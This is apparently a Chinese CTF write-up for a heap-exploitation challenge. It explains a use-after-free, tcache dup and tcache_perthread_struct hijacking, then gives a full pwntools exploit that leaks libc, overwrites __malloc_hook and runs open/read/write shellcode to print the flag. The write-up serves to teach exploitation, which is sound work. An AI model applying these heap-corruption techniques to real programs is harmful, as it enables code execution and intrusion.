注意
本文最后更新于 2021-03-28,文中内容可能已过时。
总结
根据本题,学习与收获有:
tcache attack
时 如果可以利用tcache_perthread_struct
,优先考虑利用这个结构体,可以省去很多麻烦。控制了这个结构体,相当于就控制了malloc
的分配,可以控制tcache bins
中chunk
的数量和分配地址。
tcache_perthread_struct
结构体在堆上,大小一般为0x250
。它的前64个字节,分别代表0x20~0x410
大小的chunk(包括chunk头)
的数量。当超过7
的时候,再次释放的chunk
会被放入到fastbin
或者unsorted bin
。后面的内存,则分别表示0x20~0x410
大小tcache bins
的首地址。
如图所示:
然后看一下内部细节:
首地址如果是一个有效的地址,下一次分配对应大小的chunk
会直接从该地址处分配,没有chunk size
的检查。
tcache attack
可以重复释放,可以直接修改tcache entry
的值,没有chunk size
的检查。
题目分析
checksec
保护全开!
函数分析
很明显,又是一个菜单题。首先来看main
函数。
main
这些函数的名字我都修改过。然后看一下这个set_prctl
到底干了啥:
set_prctl
同时,结合seccomp-tools
查看一下禁用了哪些系统调用:
不能执行execve
系统调用。那么结合前面的mmap
,猜测可以控制程序执行流到0x66660000
处,提前在这里写好shellcode
,通过orw
的方式读取flag
。
继续往下分析函数。
add_note
size
的大小只能控制在0x100
以内,最多执行该函数7
次。
show_note
edit_note
del_note
可以看到,只能free
三次,且存储内存指针的数组没有置为空。
漏洞点
- 程序的运行环境为
ubuntu 18.04
,libc
的版本为2.27
,有tcache bin
机制。可以很明显的看到,在del_note
函数中有一个UAF
的漏洞。但是,最多只能free
3次。结合tcache dup
的利用手段,tcache bin
连续两次释放,并不会crash
,而会造成这个链表自己指向自己。这样,连续分配三次后,可以在任意地址分配chunk
。
mmap
分配的内存具有可读可写可执行的权限,所以可以往这上面写shellcode,然后劫持malloc_hook
到地址0x66660000
,跳转执行shellcode。注意,不能包含execve
的系统调用,所以只能写orw
的shellcode。
利用思路
知识点
- 如上面所说,每一个线程都会维护一个结构体,名为
tcache_perthread_struct
,这个结构体负责tcache in chunk
的分配。所以,只要控制住这个结构体,就能实现控制任意大小的tcache bin chunk
的任意地址的分配。
- 当
tcache bins
放满7个后,剩余free
掉的chunk
会被放到fastbin
或者unsorted bin
。这里判断对应带大小的tcache bins
的方法,就是检查tcache_perthread_struct
中的字段的大小是不是大于6。
calloc
不会从tcache bin
中取chunk
,但是如果对应大小的tcache bin
未满7个的话,会把对应大小的fastbin
或者small bin
以头插法的形式,插入到tcache bin
中。也就是说,如果修改了fd/bk
指针,可以往任意一个地方写一个libc
地址。(这个知识点可能用不到,不过可以先总结一下。)
利用过程
这里采取劫持tcache_perthread_struct
,然后通过控制对应大小的tcache bin
的数量,使得下一次释放的chunk
被放置在unsorted bin
中。,从而泄露出libc
的地址,根据偏移计算出malloc_hook
的地址。
步骤:
- 连续申请两块大小为
0x100
大小的chunk 0
和chunk 1
- 连续释放两次
chunk 1
- 通过
show
功能打印出堆地址,进而泄露出tcache_perthread_struct
的地址,并分配到这里
- 修改
0x100
大小的tcache bin
的首地址为0x66660000
和个数为0
- 分配到
0x66660000
处,写入shellcode
- 释放
chunk 0
,此时chunk 0
会进入到unsorted bin
,利用show
功能打印出libc
地址
- 再次控制
tcache_perthread_struct
,分配到malloc_hook
处,写入0x66660000
- 任意执行一次
add_note
即可打印出flag
EXP
调试过程
我们就按照上面所说的这个利用思路来进行调试。
定义好相关的函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
def add_note(size:int):
global io
io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(size))
io.recvuntil("Done!\n")
def show_note(idx:int):
global io
io.sendlineafter("Your Choice: ", '2')
io.sendlineafter("id: ", str(idx))
msg = io.recvline()
leak_addr = msg[9:15]
leak_addr = u64(leak_addr.ljust(8, b'\x00'))
LOG_ADDR('leak_addr', leak_addr)
io.recvuntil("Done!\n")
return leak_addr
def edit_note(idx:int, content:bytes=b'a'):
global io
io.sendlineafter("Your Choice: ", '3')
io.sendlineafter("id: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("Done!\n")
def del_note(idx:int):
global io
io.sendlineafter("Your Choice: ", '4')
io.sendlineafter("id: ", str(idx))
io.recvuntil("Done!\n")
|
首先执行两次add_note
1
2
|
add_note(0x100) # 0
add_note(0x100) # 1
|
然后,执行tcache dup
:
1
2
|
del_note(1)
del_note(1)
|
然后泄露出地址,并分配到tcache_perthread_struct
1
2
3
4
5
6
7
8
|
# get heap addr
heap_addr = show_note(1)
tcache_struct = heap_addr - 0x360
add_note(0x100) # 2
edit_note(2, p64(tcache_struct) * 2)
add_note(0x100) # 3
add_note(0x100) # 4 tcache struct
|
可以看到,0x100
大小的chunk
的count
变成了-1
分配到0x66660000
1
2
3
|
edit_note(4, 0xb8 * b'\x00' + p64(0x66660000))
# 0x66660000 chunk
add_note(0x100) # 5
|
写入shellcode
到0x66660000
1
2
3
4
|
shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit_note(5, asm(shellcode))
|
泄露libc
地址,并且计算出malloc_hook
地址
1
2
3
|
del_note(0)
main_arena_96 = show_note(0)
malloc_hook = main_arena_96 - 0x70
|
分配到malloc_hook
,写入0x66660000
,并执行一次add_note
1
2
3
4
5
|
add_note(0x100) # 6
edit_note(6, p64(0x66660000))
io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(100))
|
最后远程打的结果:
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
from pwn import *
context.update(arch='amd64', os='linux', endian='little')
io = process('./pwn')
def add_note(size:int):
global io
io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(size))
io.recvuntil("Done!\n")
def show_note(idx:int):
global io
io.sendlineafter("Your Choice: ", '2')
io.sendlineafter("id: ", str(idx))
msg = io.recvline()
leak_addr = msg[9:15]
leak_addr = u64(leak_addr.ljust(8, b'\x00'))
LOG_ADDR('leak_addr', leak_addr)
io.recvuntil("Done!\n")
return leak_addr
def edit_note(idx:int, content:bytes=b'a'):
global io
io.sendlineafter("Your Choice: ", '3')
io.sendlineafter("id: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("Done!\n")
def del_note(idx:int):
global io
io.sendlineafter("Your Choice: ", '4')
io.sendlineafter("id: ", str(idx))
io.recvuntil("Done!\n")
# tcache bin dup
add_note(0x100) # 0
add_note(0x100) # 1
del_note(1)
del_note(1)
# get heap addr
heap_addr = show_note(1)
tcache_struct = heap_addr - 0x360
add_note(0x100) # 2
edit_note(2, p64(tcache_struct) * 2)
add_note(0x100) # 3
add_note(0x100) # 4 tcache struct
LOG_ADDR('tcache_struct', tcache_struct)
edit_note(4, 0xb8 * b'\x00' + p64(0x66660000))
# 0x66660000 chunk
add_note(0x100) # 5
shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit_note(5, asm(shellcode))
# leak libc_addr
del_note(0)
main_arena_96 = show_note(0)
malloc_hook = main_arena_96 - 0x70
LOG_ADDR('malloc_hook', malloc_hook)
edit_note(4, 0xb8 * b'\x00' + p64(malloc_hook))
add_note(0x100) # 6
edit_note(6, p64(0x66660000))
io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(100))
io.interactive()
|